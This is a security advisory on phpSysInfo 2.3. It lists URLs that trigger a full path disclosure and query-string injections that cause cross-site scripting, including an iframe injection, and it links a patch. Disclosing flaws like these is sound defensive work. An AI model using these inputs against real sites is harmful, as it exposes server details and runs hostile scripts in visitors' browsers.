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phpSysInfo Path Disclosure and Cross Site Scripting
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SUMMARY
<http://phpsysinfo.sourceforge.net/> phpSysInfo is a customizable PHP
Script that parses /proc, and formats information nicely. "
<http://phpsysinfo.sourceforge.net/> phpSysInfo is a PHP script that
displays information about the host being accessed. It will displays
things like Uptime, CPU, Memory, SCSI, IDE, PCI, Ethernet, Floppy, and
Video Information."
phpSysInfo has been found to contain two security vulnerabilities, a path
disclosure vulnerability and a cross site scripting vulnerability.
Exploiting these vulnerabilities allows a remote attacker to discover
sensitive information about target system and run malicious scripts in
context of Internet browser on site's visitors machines.
DETAILS
Vulnerable Systems:
* phpSysInfo version 2.3
Full Path Disclosure:
By accessing any of following URLs:
http://[host]/[DIR]/includes/os/class.OpenBSD.inc.php
http://[host]/[DIR]/includes/os/class.NetBSD.inc.php
http://[host]/[DIR]/includes/os/class.FreeBSD.inc.php
http://[host]/[DIR]/includes/os/class.Darwin.inc.php
http://[host]/[DIR]/includes/os/class.BSD.inc.php
http://[host]/[DIR]/includes/XPath.class.php
http://[host]/[DIR]/includes/system_header.php
http://[host]/[DIR]/includes/system_footer.php
An error message of the sorts of will be returned:
Warning: main(./includes/os/class.BSD.common.inc.php) [function.main]:
failed to open stream: No such file or directory in
/www/phpsysinfo-dev/includes/os/class.OpenBSD.inc.php on line 22
Fatal error: main() [function.require]: Failed opening required
'./includes/os/class.BSD.common.inc.php' (include_path='.:') in
/www/phpsysinfo-dev/includes/os/class.OpenBSD.inc.php on line 22
Cross Site Scripting:
This vulnerability requires that the variable register_globals is set to
On:
Any of the following URLs can be used to trigger the vulnerability:
http://[host]/[DIR]/index.php?sensor_program=[XSS]
http://[host]/[DIR]/includes/system_footer.php?text[language]=";>[XSS]
http://[host]/[DIR]/includes/system_footer.php?text[template]=";>[XSS]
http://[host]/[DIR]/includes/system_footer.php?hide_picklist=cXIb8O3&;
VERSION=<iframe src=http://example.com>
Workaround:
Download a patch by <mailto:max@jestsuper.pl> Maksymilian Arciemowicz
from here:
<http://securityreason.com/patch/phpSysInfo-2.3.patch.by.cXIb8O3.tar.gz>
http://securityreason.com/patch/phpSysInfo-2.3.patch.by.cXIb8O3.tar.gz
ADDITIONAL INFORMATION
The information has been provided by <mailto:max@jestsuper.pl>
Maksymilian Arciemowicz.
The original article can be found at: <http://www.securityreason.com/adv
/%5BphpSysInfo%202.3%20Multiple%20vulnerabilities%20cXIb8O3.11%5D.asc>
http://www.securityreason.com/
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